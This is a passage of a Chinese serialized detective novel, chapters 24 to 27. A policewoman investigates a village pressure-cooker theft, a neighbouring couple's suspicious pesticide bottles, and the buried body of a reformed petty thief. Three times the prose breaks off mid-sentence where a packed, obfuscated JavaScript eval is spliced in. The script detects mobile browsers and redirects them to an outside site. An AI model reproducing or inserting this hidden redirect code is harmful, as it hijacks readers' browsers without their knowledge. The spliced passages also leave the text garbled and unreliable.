老太太说完,端着簸箕就出来了,不给他们机会把菜还回来。 她走出了一段距离,这才看着偷出来的农药。 她儿媳妇儿说得莫非是真的? 这农药瓶子,一看就是新买的,可现在是十月份,哪里有用得上农药的地方? 于是,当长桂家吃完了红烧肉,准备喝农药时……农药呢??? 24.谁偷了我的高压锅(四) 第二十四章 同林镇用农药基本上是用在稻田里,偶尔也会用在玉米地,现在是十月份,这两个都已经收成了。 而这两瓶农药是新的,还没有开,而且还放在桌子上。 谁家正常人把农药放在桌子上啊! 老太太回到了家里,看着自己家,想了想,然后把农药放在了桌子上。 老太太想出去端辣椒进来,她走了两步,回过头又把桌子上的农药收起来,放到旁边柜子里。 今年的辣椒是长得格外好,满满两大簸箕。 老太太把辣椒端了进来,这才又去把农药放在桌子上。 簸箕也放在桌子上,里面的辣椒基本上都是红彤彤的,现在把辣椒蒂去了,剁吧剁吧,放进坛子里,做成酸辣椒碎,留作冬天的时候吃。 她对面是两瓶农药,黑色的瓶子,绿色包装,红色的字,看得心里毛毛的。 没一会儿,在外面除草的大雁她爷爷也回来了。 人一到家,正口渴要去喝水,一眼就扫到了桌子上的东西。 “今天阎王来了吗?说我们屋头要死一个吗?”大雁她爷爷拿起了桌子上的农药,“还两瓶,这是要死两个嗦?” 老太太把桌子一拍:“我就说不对劲!”她就是试试看,果不其然,她老伴回来就能看到桌子上的农药。 老太太就看着老头子拿着农药,藏进了柜子里。 这才是正常人。 “怎么买了两瓶农药?这段时间也没有要农药的地方。” “我也是这样说!” 老爷爷一头雾水:“你今天是撞鬼了吗?我一句都听不懂。” 老太太这才解释说道:“今天早上大雁她妈说,让我们莫把昨天晚上说的事情说出去。” “我越想越觉得不对头,就拿了些辣子和茄子去长桂家看一哈,你猜我去看到了什么?” 老爷子刚才就是调侃一下自己老伴把农药放在桌子上的事情,转过头还是去喝了水,现在随口问道:“莫子?” “长桂在炒菜,长桂她男人坐在桌子上,桌子上有两瓶农药。” 老爷子看向自己家柜子,两瓶农药。 “这两瓶?” “是啊,我觉得有点不对头,所以我怕拿回来了。” “她们让你拿的?” “她们也没有不让我拿。”反正她们都没有看到。 “……厉害了,我们屋头要出个农药大盗了。” “莫开玩笑了,你不觉得有问题吗?现在买农药做什么?还放在桌子上?吃饭的地方放农药!” “是有点嫌命长。” 真的是处处透露着古怪。 老年人可能对时代啊,城里打工啊,高压锅啊,一窍不懂。 可这是农药啊,她们这一代人再懂不过了! 从农药走进农村家庭那一天开始,就出现过把农药装进普通瓶子里,结果被家里孩子或者老人喝了。 这种事情,头天发生,第二天所有人都会知道。 几乎每一个庄稼人去买农药,看着那黑乎乎的瓶子,看着那里面的毒水,尽管那毒水都会有一股难闻的味道,可大家依旧会产生这样的恐惧。 可谁也不知道,家里孩子会不会跟个傻子似的,把农药找出来喝了。 这是所有庄稼人共有的噩梦。 于是,农药从买回来那一刻开始,就需要藏在接触不到的地方。 最后会形成习惯,就像她老伴这样,回到家一眼就能看出来桌子上有农药,然后不需要说什么,直接就把农药放到藏起来了。 没有人!绝对没有人会把农药放在吃饭的桌子上。 长桂家到底怎么回事? 她就又想起来了昨天晚上儿媳妇说的那些事情,难道是真的? 儿媳妇儿的确天天在说那个高压锅的事情,要是儿媳妇儿真的觉得高压锅是长桂家偷的,那很有可能真的会去找长桂家。 那长桂家杀了人? 可昨天晚上儿媳妇儿还是带了黄鳝回来。 这到底怎么回事?这事……还得问问儿媳妇。 可她去哪儿了? 她把这一簸箕辣椒处理好时,猪圈那边就传来了山春的声音—— “村支书他们说这个不好管,说就是一个锅而已,我那不是一个锅,我那是高压锅,能节省柴火!” “你们警察真的能帮忙找回来吗?” “先试试吧。” 老太太听到了另外一个陌生的声音。 紧接着,她的大孙女从猪圈那边过来了,一边跳,一边喊:“奶奶,来客人了!是警察!” 同林镇老一辈本身就好客又讲究,哪怕家里穷,依旧对于外面来的客人好奇又热情。 平常有下乡来找石油的大学生,大家都希望能来自己家住。 更何况,这还是警察。 老太太赶紧起身,擦了擦手,赶紧迎了出来,看到这个年轻警察时,脸上都是笑:“稀客稀客,快进来坐。” 云松被对方的热情惊了一下,她都插不上话,老人家把她迎了进去,嘴里说道:“不知道警察大人到这里有什么公干?” 老一辈并没有和警察接触的机会,称呼便学了过去看过的戏文。 云松赶紧说道:“你叫我云松就好,我是来查你们家高压锅的事情。” 云松来的时候不确定具体情况,所以和廖山春母女俩商量过了,对外就说是来查高压锅的事情。 老太太听到的时候,都差点笑了,这高压锅再金贵就是个锅,怎么还劳烦到警察了? 但她可不会这样说出来,她说道:“那快进来坐,一路上来辛苦了,先打个点心!” 她一边说,一边去了灶台。 山春:“……” “山春,你去给警察……云松大人拧一下帕子,洗把脸。” 老太太心里想着,唉,一代不如一代,下一代个个都不知道怎么招待客人。 云松连连摆手:“太给你们添麻烦了……” “这有什么麻烦的。”老太太火已经升起来了,锅里放了水,拿了两个鸡蛋出来:“就是两个鸡蛋,吃个点心,又不是什么金贵的东西。” 云松依旧拒绝,说道:“我先去长桂家问问高压锅的情况。” 老太太立马板起了脸,她那种板着脸,能让人感觉到她故意的,老人家嘴上立马说道:“哪有到了家点心都没有打一个就走了,你要是不吃,是不是嫌弃我们家没有好东西招待。” 云松:“不是……” 山春也赶紧说道:“先吃点东西再走,我妈做红糖鸡蛋,好吃得很。” 老太太继续说道:“这么远上来,肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737467|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是又累又饿,要干活也得先吃个东西,点心快得很,马上就好了,要是这都不吃,就真的是我们招待不周了。”老太太看来,就算是家里没有好东西,招待的礼数,必须周全! 老太太又多了拿了几个鸡蛋过来:“山春,大雁,你们也坐着,陪客人一起吃红糖鸡蛋。” 十分钟后,云松吃着糖水鸡蛋,用帕子擦了擦脸,再一次被人类的语言拉扯能力折服。 她还得练。 但不得不说,这一路上来,又累又饿的,现在,这热帕子,这红糖鸡蛋,的确解了一身的劳累。 老太太坐在旁边,小声问道:“云松大人啊,你真的是来查高压锅的吗?” 云松大人…… “老人家,你叫我云松或者小云,小松都行,要不然警察同志也行,大家都是这样叫。” 云松能够感觉到对方对于政府人员的尊重,但这个称呼还是让她对老人家有点心疼。 在外面世界飞速发展的时候,这里的老人对于政府人员的了解,依旧留在遥远的过去。 廖山春正吃着红糖鸡蛋,心里头对自己婆婆还是有点佩服了,她婆婆有些时候有点不好,但遇到这种事情,就能招待得妥妥当当的。 “警察同志,你是不是听我儿媳妇说了长桂的事情?” 廖山春立马说道:“妈,你不会在这个时候说我喜欢说胡话吧?” 老太太摆了摆手,她跑到门口去看了看,确定外面没有人,这才跑了回来,走到柜子前,弯腰从里面拿出了一个东西。 这一次,她没有放到桌子上,只是给大家看了一下。 “农药?” 老太太继续说道:“今天早上你说了以后我越想越觉得不对劲,就去了一下长桂家,她们家桌子上就摆着两瓶农药。” 云松两口吃完了红糖鸡蛋,然后开始进入工作状态。 老太太这才想起来,眼前的是警察,自己好像做了一回小偷,她赶紧为自己解释道:“我这不是偷,我是怕出事,所以拿了回来,确定没事就还给他们。” 云松说道:“老人家,你细说一下当时的情况。” “也没什么情况,我的时候,她们关着门,现在想起来也觉得不对劲,人在家里,谁家会白天关门?” “她们开了门,长桂在炒菜,长桂她男人坐在桌子前,还有一个本子,不知道在写什么,桌子上就有两瓶农药。谁把农药放在马上吃饭的桌子上?” 云松点了点头,的确不对劲。 云松赶紧去了长桂家。 长桂家关着门,屋子里的人依旧找不到农药。 “我确定把它放在桌子上的!” “我看到在桌子上,想着还不会喝,所以把它放进了柜子里面,但后面我拿出来了。” 两个人把家里翻了又翻,都没有找到这瓶农药。 “咚咚咚——” “你好,我是平城公安局南区分局的警察云松,想找你们了解一下——” 两口子急了。 外面的人说道“高压锅的事情。” 两口子来不及多想,对方继续说道:“方便开一下门吗?我上来时磨破了脚,需要坐一下。”云松学习了一下老太太的语言表达,示弱一下。 两口子来不及想太多,人已经被带到了对方的语境里面了,打开了门。 25.谁偷了我的高压锅(五) 第二十五章 房门打开,云松看到的是两个精瘦憔悴的中年人。 两口子是典型的庄稼人模样,四十来岁的样子,因为常年行走在阳光下,两口子的皮肤出现了一层专门抵抗阳光的厚块皮肤,此时,这些厚块皮肤皱在了一起,诉说着疲惫和焦虑。 云松进来时,两个人都有些局促不安,因为这种不安,她们有些慌乱。 “警察大人……我去给你搬凳子。” “叫我云松或者警察同志,都行。” 云松注意到,他们家里的东西大多数都打了包。 云松道:“你们这是要搬家吗?” “没……没有。”长桂搬来了凳子,她依旧不敢看着这个警察的眼睛。 她还是被之前廖山春说的那些话影响了。 ——那个警察看人一眼就知道人家是不是在说谎。 “那怎么把锅碗瓢盆都打包起来了?”云松像是在聊天一般地问道。 其实两口子也可以选择不答,但她们并没有这种对抗警察的经验。 “有些不用了,就装起来了。” 不止是锅碗瓢盆,她们几乎把所有还能用的东西都装了起来— 房间的中间放着两个大背篓,大背篓叠在一起,里面是两个小背篓,这两个小背篓的大小也不一样,上面的背带上还缠了红色的布,能够看出来,这两个小背篓已经很久都没有用过了。 云松尽可能让她们放松下来:“你们不用紧张,咱们就是聊聊天。” 云松温声细语地说道:“我听大雁的奶奶说你们两口子是十村八店出了名的人品好,所以想想和你们说说话。” 长桂立马摆了摆手:“这是哪里的话,大雁奶奶看谁都觉得好。” “你们知道廖山春家的高压锅吗?” “知道,她男人过年回来的时候带回来的。”村子里有不少男人出去打工了,也有人家年轻男人和女人都出去打工了,只剩下老人和孩子。 “你们觉得村子里有谁可能拿了她的高压锅吗?” “这个我们不清楚。”的确不清楚,这段时间他们在为同一件事情发愁,怎么可能去关注别人家的高压锅的事情。 云松便接着问道:“那你们觉得孙二有可能吗?” 长桂听到这个名字,整个人咯噔了一下,立马摆了摆手,说道:“不会,不会是他。” 长桂不知道怎么的,此时此刻,突然就话多了起来。 “孙二他喜欢偷钱,从来没有偷过东西。” “对,他不偷人东西,有一次 ,我记不得是谁家了,他们当时是丢了一个大铁锅……”对方想起眼前的警察是城里人,于是又解释道:“我们这边的大铁锅,只要小偷勤快一些,背到镇上卖废铁的话,也能卖一点钱,当时她们家就说肯定是孙二偷的,孙二就说他又不是有病,那么重背到镇上也就一两块钱,他看不上,后面也的确不是他。” 小偷也要分两种,一种是勤劳的小偷,这种小偷什么都偷,什么都不嫌弃,大到铁锅,小到晾在树上的萝卜干,只要是别人的东西,都要偷。 还有一种懒惰的小偷,只偷钱。孙二就是这种。 云松道:“你们村子的人就不管他吗?” 这话说起来,真的是辛酸泪。 长桂道:“怎么没管过啊,他小时候手脚就不干净了,那个时候,他家里人为了改了他这个毛病,把人绑在柱子上打,藤条都打断了好几根,结果还是没用。” “村子里其他人也没有办法,只能认了。” 云松大概也能理解,这样的地方,更加依靠村民自治,村支书村长不可能因为孙二偷窃而报警,让警察从城里赶过来,而且对方是小偷小摸,就算是警察从城里赶到同林镇,再爬几座山来到这个村子里,一看小偷小摸,也不好处理。所以,对于这里的人来说,孙二这样的人,的确没有更多的手段来处理,只能集体忍着。 云松道:“这种情况,很容易出事。” 错事做一次,可能无事发生,但只要重复的次数够多,总有一天要出事。 云松从她们家出来,便回了廖山春家里。 这家人此时正在宰红辣椒,旁边是两大口坛子,一个坛子已经装的满满的,另一个坛子还在等装上,现在人辣得眼泪汪汪的。 哪怕是有杀人案,酸辣椒碎也不能耽搁。 云松一回来,几个人立马就围了过来。 云松问道:“他们家有孩子吗?” “有两个,大儿子在镇上厂里干活,小女儿嫁到了镇上,虽说嫁到了镇上,但还是经常回来……” 小女儿和大儿子不一样,大儿子在厂里,便吃在厂里,小女婿是镇上小学的老师,小女儿在学校里帮孩子们蒸饭,但小女儿两口子饭菜都要自己做。 可小女儿在镇上没有田地,长桂两口子种了很多瓜果蔬菜,小女儿就经常上来背一些蔬菜下去吃。 前段时间回来,是正好老家的嫩姜也到了收获的季节了。 长桂早早地就把嫩姜挖了出来,洗干净,加上辣椒,做成了泡嫩姜。 当时她还在说“等春凤带回学校,平时嘴巴没味道可以吃一些,做下饭菜也不错。” 后面小女儿好像没有回来,她们家菜也没管了。 “孙二跟她们孩子关系怎么样?” “孙二有小偷小摸的毛病,跟谁关系都不好,说起来,当初孙二还想要跟长桂家提亲,想娶人家的小女儿,孙家自己还是知道自己家这个二儿子是个什么东西,当然不会去自取其辱,后面就不了了之了。”这些事情,大雁奶奶知道得更多。 很快,天就黑了。 云松和廖山春,还有老太太一起去了山里,开始找尸体。 廖山春记得她们拖出去的方向,也记得后面再遇到时,两口子扛着锄头回来的方向。 漆黑的山里,廖山春就跟在云松后面,叽叽喳喳地说个不停,完全不带害怕。 “我回去想过这个事情,肯定就是在这边。” 老太太表情更严肃一些,一个劲地作揖。 因为,她们来的地方是村子里的坟山,平常不会有什么人来。 大晚上,举目望去全都是坟包。 “只有埋在这里是最安全的,你是不知道我们村子里面所有孩子都是皮猴子,山上没有一块地不被他们扒,埋在哪儿都不安全。但这里例外!” 就是村子里最调皮的孩子都不会到这里来玩。平时大人们也忙,也不会来。 廖山春完全不带害怕。 廖山春说道:“老辈子们,这是警察大人,警察大人来查个案子,莫怪莫怪!” 而老太太则是走到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742814|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个坟包面前:“秀儿,这是警察大人,莫怕啊。” 廖山春知道,那是婆婆早夭的小女儿,听说胆子很小。 廖山春胆子也不大,她现在的胆子完全来源于对于云松的警察身份的信任。 很快,三个人就找到了一个新的坟包,上面还有烧过的纸钱。 一看就知道是刚挖不久,但村子里最近没有办丧事。 廖山春接着就看到云松开始用锄头……挖……挖了起来。 啊?啊?带着锄头难道不是为了防身吗? 廖山春:“现在……现在就挖吗?” “先看看尸体的情况。” “不能明天白天吗?”这种事情,还是白天比较好。 “明天白天,大家都醒了,可能会比较麻烦。” 云松猜到这两个人会害怕,便说道:“你们先回去休息,我处理好了就回来。” 廖山春咽了咽口水,看向自己的婆婆。 “我真不怕这些。”云松看向两个人,说道:“你们回去吧,要是你们不回去,反而会让我觉得不安了。” 两个人见她脸色如常,再一想,也是也是,她可是警察,像她这样的人,身上的正气,就已经是百鬼不侵了,肯定不会怕这些了。 两个人往回走时,老太太走到那边的坟包时,又说了一句:“秀儿,快睡觉,别看那边。” 云松这边已经投入状态了,她并没有在意这是在哪儿。 对她来说,也只有眼前需要处理的事情。 很快,尸体一点一点地出现在她面前。 云松有些奇怪,云松并没有见过孙二,她只能从众人的说话中去拼凑这个人。 所有人都说孙二是一个非常懒惰的人,甚至偷东西都只愿意偷钱。 可这个人……他手上有很多茧,肩膀上有很多被背篓的背带勒出来的印记。 一看就是做了不少苦力活的人。 云松有些奇怪,那这个人是孙二吗? 云松起身,准备回去,找一下人来认认。 她刚从这个山谷里面走上来,只见山坡上,廖山春婆媳两就挨着坐在那里。 两个人在下面是真的心里害怕,可又担心云松,于是就在上面山坡上等着。 毕竟,哪有跟人一起出来了,结果自己回去了的道理。 “警察同志,你上来了!怎么了?” 云松道:“尸体我挖出来了,我不认识孙二,就是有些奇怪,孙二手上肩膀上会有下苦力活的痕迹吗?” “肯定不可能有,他懒得很,从小到大都懒。”老太太说道。 云松道:“尸体上有。” 老太太瞬间都不觉得害怕了。 这是说,人不是孙二? 怎么可能?那是谁? 老太太拉着儿媳妇儿:“走,下去看看是谁。” 虽说害怕,可心里头是真好奇如果不是孙二,那村子里谁死了? 三个人又一起下去了。 尸体躺在那里,等待人来认出自己。 老太太和廖山春两个人一人抓一只云松的胳膊,以云松为盾牌,慢慢往前挪,很快,她们还是挪到了尸体面前。 月光下,尸体的脸已经在腐烂了。 可是,这面目并非无法辨认。 “这就是孙二。” 26.谁偷了我的高压锅(六) 第二十六章 这是孙二…… 云松心里头觉得奇怪:“你们上一次见到他是什么时候?他当时在做什么?” 说起来……好像的确有一段时间没有见过这个人了。 但凡廖山春这段时间见过孙二,她都会觉得自家的高压锅是孙二偷的,毕竟高压锅不是大铁锅,高压锅不重,而且又新,背到镇上去卖,肯定还是能卖一点钱。 这段时间,孙二不在家。 那什么时候遇到过? 婆媳两开始回忆起来,因为有事情想,反而也不害怕了。 “上一次,听说他要去养羊挣钱,是什么时候?我当时还见过他赶着两只羊去山里。”廖山春说道。 “这都一年前的事情了。”老太太也还记得这件事。 当时这人去了镇上,长了见识,觉得养羊是个好活路,羊毛可以卖钱,后面羊生羊,再生羊,羊多了,光是羊本身也能卖钱。 本来他觉得养羊就是去山里面放,也不费什么劲儿,实际上可不简单,夏天晒得狠,人在山里又遭虫咬,一个月下来,见不到半毛钱,没干到两个月。 在一个大雨天,就看到他扛着羊回来了,羊已经被他杀了。 “不挣这个钱了!”原来这天出去放羊,那羊不知道怎么犯牛脾气,狠狠地顶了他一下。 他想着自己这段时间的辛苦,就为了养这两只羊,结果自己还被羊给顶了。 一怒之下,杀了羊。 村子里人并不惊讶,这人脾气就这样,大家都觉得他这辈子完了。 “这件事情发生了以后,他估计是觉得臊皮,又去了香金镇那边。” “再后面好像就是过年的时候,我记得大过年的,他们家吵架了。”廖山春对于各种八卦了解得比较清楚。 老太太也跟着回忆了起来:“当时我还去问过孙家老太太,”孙家老太太就是孙二的奶奶,对方孙子孙女多,自然对孙二这个不成器的孙子很是看不上。 当时那老太太说的是:“脾气古怪得狠,他不是去香金镇,买了点外面才有水果,一点大,有点像橘子说是要连着皮一起吃,我们吃不惯,就一直放在桌子上,当时他二姐回来拜年,看到了,就以为是老大买的,就夸了两句,说老大有出息,他就发火了,弄得大家都不高兴……” 就这么一个事情。 过年后,似乎就没有再看到这个人了。 云松听着婆媳两个人的回忆,再一次拼凑出这个人。 只是,云松翻开他的手掌,他怎么会突然改了?开始干苦力活了? 廖山春见她去翻看尸体,心里头又开始害怕了起来。 好在,云松很快又说道:“你们回去吧,等天亮了,我的同事应该也就到了,到时候还需要有人给她们指一下我的位置。” 云松来之前已经给城里公安局打了电话,估计第二天早上侦查人员便能从城里赶过来,但侦查人员肯定不知道她的位置。 “你不回去睡一会儿吗?” 云松看了看周围,说道:“这里靠森林太近了,尸体摆在这里,我担心会有野兽来破坏,所以,我在这里守着。” 老太太看了看地上的尸体,她到底是老人,生活经验比较足,于是想了一个特别好的主意:“要不然,再埋回去?” 埋进土里还是不容易被野兽再掏出来。 “没事,我在这里守着就行。” 婆媳两见她坚持,这才同意。 云松道:“这一次不要在坡上等我,你们回去,侦查人员来了才知道我在哪儿。” 婆媳两点点头,这是大事,不能忽略。 婆媳两回去以后,大雁爷爷和大雁都还没有睡,爷孙俩坐在火坑旁边,等她们回来。 两个人一回来,赶紧说了情况。 “还真是孙二,警察大人说有些奇怪,孙二好像干了很多苦力活,这个人可不像是会吃苦的人……”老太太说道。 “可不是,他当初放羊都嫌累。” “也不知道长桂家怎么就杀了他……” “说起来,当初孙二是不是还想要娶春凤?”大雁爷爷对这件事也有点印象。 “估计是说着玩,他可比春凤大了十来岁,长桂当初连这个小学老师都差点没看上,哪里看得上他?” 一家人说起了孙二的那些事情,干脆都不睡觉,等城里的侦查人员来。 侦查人员便是上午八点到,来了十来个,就包括了唐朝和佟锦,毕竟两个人之前来同林镇查过案子,也算是比其他人更熟悉这里。 一大群人,乌泱泱的,村子里人,早饭都不吃了,要出来看热闹,村支书都不知道发生了什么事情。 廖山春心里头特美,毕竟只有自己知道是怎么回事,赶紧去迎接她们,把人带到了后面的坟山。 孙二家的人原本就是跟着看热闹,孙母还正新奇呢。 “怎么这么多人都去坟山?谁家坟都偷了吗?”奇了怪了,现在这些坟里面也能有什么东西偷? 她本来想挤进去,却发现,前面的人突然就让开了。 前面的人已经看到了什么情况,自然就让开了。 孙母看了看自己身后,还以为是有什么侦查人员在后面,大家才会让。 结果后面没有人。 “孙家的,你快过去吧。” 孙母听到这话,心里有种不好的感觉,她赶紧往前去。 她……她的二儿子躺在地上,一动不动。 怎么会? “啊!”孙母冲了上去。 尽管她有六个孩子,可失去孩子,痛依旧是痛。 “强娃儿啊!强娃儿啊!你这是啷个了啊!” 所有人都习惯了叫孙二的外号,叫他孙二,在这种地方,人品不好,本来就是会失去自己原本的名字。 孙母依旧叫的是孙二的乳名。 “老天不长眼啊!老天不长眼啊!” 众人不好上前阻拦。 孙二母亲先是抱着尸体哭,继而转向侦查人员们,扑通一下就要跪,云松反应很快,立马扶住了对方:“别……” “警察大人!你一定要查清楚是谁杀了我儿子!” 对方知道,知道自己儿子名声不好,她怕因为名声不好这种事情,警察对她儿子有偏见,于是赶紧说道:“我这个二儿子以前是做错了点事,可是这半年来,他改了啊!” 她想到这件事,更加难过,不断地念着:“他改了啊,他改了啊!” 云松让其他人先把尸体抬下去,自己搀扶着孙母走到另一边,询问她关于孙二的情况。 “你说他改了,是什么时候发生的事情?” 说起这件事来,孙母便止不住地伤心:“这半年来,他真的不一样了,他没有偷东西,而且还跟我说,他以前不懂事,现在懂事了,他想多挣一些钱,把过去不懂事的时候,偷的那些东西,都还给人家。” 云松安抚道:“你多说说这些事情。” 人的行为习惯,一旦形成很难改变,除非遇到了非常大的外界力量。 孙母回忆了起来,今年过年的时候,当时村子里非常热闹。 孙家也不例外,四个儿子,两个女儿,女儿们带着孩子都回来了。 一家人热热闹闹的。 孙母的大儿子也成家好几年了,现在也已经有了两个孩子,三儿子成亲四年,也有一个孩子,两个女儿都嫁的不错。 这一过年,一大家子,热热闹闹的,她男人去世后,这一大家子就是她撑着。 转过头,二儿子坐在堂屋里,正在搞一个镇上带回来的玩意,说是什么收音机。 无论是大儿子三儿子,还是三个女儿,她都觉得自己的任务完成了。 唯独这个二儿子,她是真不知道该怎么办。 对于这个儿子,孙母也不知道是得罪了哪路神明。 小时候明明还算是听话懂事,直到有一天,他突然就开始染上了坏毛病,偷了家里的两块钱。 那一次,孙父非常生气,把孙二打得半死,他既不承认错误,也不肯交出两块钱。 后面这个儿子就一直开始偷钱,这下子他倒是承认了,但无论怎么打,都改不过来,平时也越来越懒,也不干活了。 村子里其他男娃十八九岁就能定亲,只有孙二,没有人看得上,孙母心里头也着急,可就是没办法啊。 还是要成亲啊,不成亲没有老婆孩子,以后怎么办? 可孙母也知道,儿子这个样子,没有女娃子看得上。 也有一个好事,她儿子经常去镇上也经常去隔壁有钱的香金镇,见识还是要比村里的其他人见识更广一些,就是懒了一些! 可见识还是不顶用。 今年,他就三十三岁了,弟弟妹妹的孩子都六七岁了。 孙母想不通,这个儿子怎么就不知道上进,不想成个家! 她去里面把灶上炖着海带排骨的铁罐子取了下来,放在了火坑里。 再出来的时候,她就看到二儿子正在和路过这边的春凤说话。 原来,长桂家的小女儿春凤也回娘家了。 春凤今年二十二岁,出嫁不到一年,这是她出嫁后回娘家拜年的第一年,看上去像是哭过了。 孙母自己也是女人,自然能够看出来,春凤并不是真的哭过,她只是出嫁第一年,以外嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745668|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女身份回来拜年,心里头难过。 这女子出嫁,嫁得近还好,嫁得远了就是这样。 孙母想起了当初也动过把春凤说给二儿子的心思,毕竟嫁的近,多好。 当然,她也知道长桂家肯定不会同意,长桂家势利眼,春凤生得又好看,肯定想要嫁个好人家,肯定看不上他们家,所以就没有去。 果不其然,没过两年,长桂家的人不知道怎么就托人介绍了一个镇上小学的语文老师。 春凤就嫁到了镇上,长桂家的天天高兴得不得了,觉得自己女婿是读书人。 她心里头一直都不高兴这家人,现在见二儿子和春凤说话,她心里头也不太高兴。 她总觉得长桂一家瞧不起她们家。 却不想,二儿子,这个平时对什么都不关心的人,进来以后就问她:“春凤过得不太好吧,她看上去就像是哭过了一样。” 孙母看着自己的二儿子,心里头突然就有了一个主意,说道:“她一个没文化的,嫁给了小学老师,肯定过得不好,说起来,当初要是嫁到咱们家来,她是我从小看着长大的孩子,我们家肯定也会对她好,娘家又离得近,再怎么都比嫁到那么远好。” 她二儿子没说什么。 孙母继续说道:“妈也不是要说你,你看你弟弟妹妹,还有村子里的人,大家都结婚生娃儿了,你也要为自己多想想,你现在也不是孩子了,该有个主意了。” 她这一代人,总觉得成个家就能让男人们成长起来,改掉坏毛病。 可二儿子现在又成不了家,于是她就想到了春凤这个姑娘。 她又加了一把火:“你本身条件也不差,又经常去镇上,去城里,比村子里其他男娃子有见识,之前我去长桂家说亲……” 二儿子突然就抬起头:“不是没有去说吗?” 的确没去说,但现在这不是没办法吗,孙母说道:“我去说了,长桂没同意,她势利眼,说是你没个正形,怕春凤嫁过来吃苦,春凤倒是愿意。” “她们家没有见识,把人嫁给了小学老师,长桂两口子以为是攀高枝了,实际上就是去吃苦的,你没看到,春凤可怜得很,每隔一段时间还要回来背菜,那个小学老师家连菜都没得吃。” “这是你不知道,镇上不好买菜,她可能就是不想买菜。”孙二经常去镇上,自然知道这种情况。 “其他人可能是,但她肯定不是,春凤在自己家过得多好,我听人说,她们路过小学,看到春凤在干苦力活,三四个铁笼子,里面装的铁饭盒,装得满满的,她每天都要搬。苦得很。她男人是教书的,也就是说起来风光,实际上春凤嫁给他才是吃苦了。” 她二儿子沉默了。 “我看啊,春凤跟他也跟不了多久。说不一定过不了多久就得离婚。”她叹了一口气:“春凤那姑娘是个好的,平时斯斯文文的,又有礼貌,说话也是客客气气的,可惜了。” 孙母本来就是试试看这个办法能不能让自己儿子变好一些,其实她也不知道有没有用。 却不想,还真有用,孙二到底还是人,年纪小的时候什么都不在乎,反正自己开心了就行。 可年纪大一些,身边的人都开始结婚生娃,有了自己的家庭,原本还愿意跟他一起混着玩的兄弟都有了老婆孩子,也不怎么来往了,母亲又天天催,他面上不显,心里头还是希望自己有个老婆。 而春凤就很不错,这个姑娘从小就干干净净斯斯文文的,村子里的人谁不想娶回家当老婆。 虽说现在春凤成亲了,但他不嫌弃。 于是,孙二决定要改变自己,他自觉见识比人广,也看不上同林镇,隔壁香金镇才是真的有钱。 他便去了香金镇,香金镇有煤矿,工厂也多,在这里,他找到了挖煤工作。 他开始拼命干起活来,偶尔回一次老家,孙母心里头是真高兴,好几次看着他带回来的钱,都流了眼泪。 她儿子,可算是改了!变好了! 不仅如此,儿子还和她说了心里话,七岁那年,那两块钱不是他偷的,但是被他爸狠狠地打了一顿,所以后面才一直想偷钱,他想要报复大家说他是小偷。 孙母心里头压根没有把这件事当一回事,这都多少年前的事情了,也不是什么大事,她心里头还是把儿子变好了当做头等大事。 她心里头盘算着,再多存一些,到时候就给二儿子说个媳妇儿。 她没有把过年的时候,为了激励儿子说的那些话当一回事,毕竟对她来说,那些都是假的,自然就不会放在心上。 谁也没有想到,已经变好了的二儿子突然就死了! “老天不长眼啊!老天不长眼啊!” 27.谁偷了我的高压锅(七) 第二十七章 孙母知道自己儿子过去品行不好,可他现在改正了,改好了。 “他跟我说,以前是他不懂事,他现在心里头也有盼头了,就只想好好过日子。” “他在香金镇挖煤,那个手,全都是水泡,每次回来脸都漆黑,我给他打水洗脸,水都是黑的。”孙母心里头虽说难过,可说话的时候,还是没有提到春凤。 毕竟,春凤的事情,就是一个小事。 孙母情绪上来了,生怕云松不相信,拉着云松回了自己家,去翻柜子:“他每次回来,都把钱拿给我保管。他现在真的变好了。” 柜子那边有一抹白,云松很快就认了出来,那是一个高压锅? “这个高压锅?”云松想起了廖家的高压锅,说道:“这是孙强从城里带回来的吗?” 孙母赶紧说道:“不是,警察大人,这件事你别说出去,只是一个锅而已,这是我那大孙子拿回来的,小孩子之间闹了矛盾,不是要偷东西,我当时其实想送回去,但廖家人嘴巴不饶人,到时候说不一定要说我大孙子偷东西,所以我就藏起来了,准备等过段时间还回去。” 云松点了点头,表示自己知道了。 孙母也不觉得这是个大事,她很快就把云松的注意力转移走了:“这些钱,有他存起来娶媳妇儿的,也有存起来赔给以前偷过的人家。” 云松听着,总觉得少了点什么。 “他是突然变成这样的吗?中间没有发生什么事情吗?” 孙母回忆了一下,没有发生什么事情,她道:“男人都是这个样子,年纪小的时候不懂事,等到了一个年纪了,想娶媳妇生孩子,人也就踏实下来了。” 